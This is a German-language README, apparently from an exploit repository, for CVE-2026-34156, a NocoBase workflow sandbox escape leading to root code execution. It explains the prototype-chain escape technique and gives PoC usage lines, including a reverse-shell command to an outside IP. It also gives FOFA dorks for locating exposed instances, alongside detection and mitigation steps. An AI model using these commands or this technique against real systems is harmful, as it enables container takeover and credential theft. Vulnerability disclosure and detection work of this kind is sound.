🚨 CVE-2026-34156 - Kritische Sandbox-Escape in NocoBase

Nicht authentifiziert / Niedrige Berechtigungen → Root Remote Code Execution in NocoBase

📌 Übersicht

CVE-2026-34156 ist eine kritische Sandbox-Escape-Sicherheitslücke in NocoBase (einer Open-Source-No-Code/Low-Code-Plattform).

Ein Angreifer, der in der Lage ist, einen Workflow-Skript-Knoten zu erstellen oder auszuführen (selbst mit niedrigen Berechtigungen), kann die Node.js vm-Sandbox verlassen und eine vollständige Remote-Code-Ausführung als Root innerhalb des Containers erreichen.

Betroffene Versionen

• NocoBase < 2.0.28

Behoben in

• NocoBase 2.0.28 (veröffentlicht März 2026)

🛠 Schwachstellendetails

• Komponente: @nocobase/plugin-workflow-javascript (Skript-Knoten)
• Typ: Sandbox-Escape über console._stdout.constructor.constructor
• Auswirkungen:
  • Remote-Code-Ausführung als Root (uid=0)
  • Beliebige Befehlsausführung
  • Dateisystemzugriff (fs)
  • Umgebungsvariablen-Leckage (Datenbank-Anmeldedaten, Geheimnisse)
  • Vollständige Container-Kompromittierung

Grundursache

Das in die Sandbox übergebene console-Objekt stammt aus dem Host-Bereich, was es Angreifern ermöglicht, die Prototypenkette zu erklimmen und auf den echten Function-Konstruktor → process.mainModule.require zuzugreifen.

🚀 Exploit

Proof of Concept (PoC)

# Simple command execution
python3 CVE-2026-34156.py -u https://target.com -e [email protected] -p password -c "id"

# Reverse shell
python3 CVE-2026-34156.py -u https://target.com -r 192.168.1.100:4444

Repository enthält: Vollständiges PoC-Skript, Nuclei-Vorlage und Sicherheitsprüfer.

🧪 Erkennung

Nuclei Template

nuclei -u https://target -t cves/CVE-2026-34156.yaml

FOFA Dorks

title="NocoBase" || title="Sign in - NocoBase"
title="NocoBase" && body="workflow"

🛡️ Gegenmaßnahmen

1. Sofort auf NocoBase 2.0.28 oder neuer aktualisieren.
2. Deaktivieren Sie den Workflow-Skript-Knoten für nicht vertrauenswürdige Benutzer.
3. Führen Sie NocoBase-Container als Nicht-Root-Benutzer aus.
4. Verwenden Sie stärkere Sandboxing (z. B. isolated-vm) in der Produktion.

📸 Bildschirmfotos

⚠️ Rechtlicher Hinweis

Dieses Repository dient ausschließlich Ausbildungs- und autorisierten Sicherheitsforschungszwecken.
Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.

Unbefugte Ausnutzung ist illegal.

⭐ Danksagungen & Referenzen

• Entdeckung: Unbekannt (öffentlich offengelegt)
• Patch: NocoBase Sicherheitsteam
• NVD: CVE-2026-34156
• GitHub Advisory: GHSA-px3p-vgh9-m57c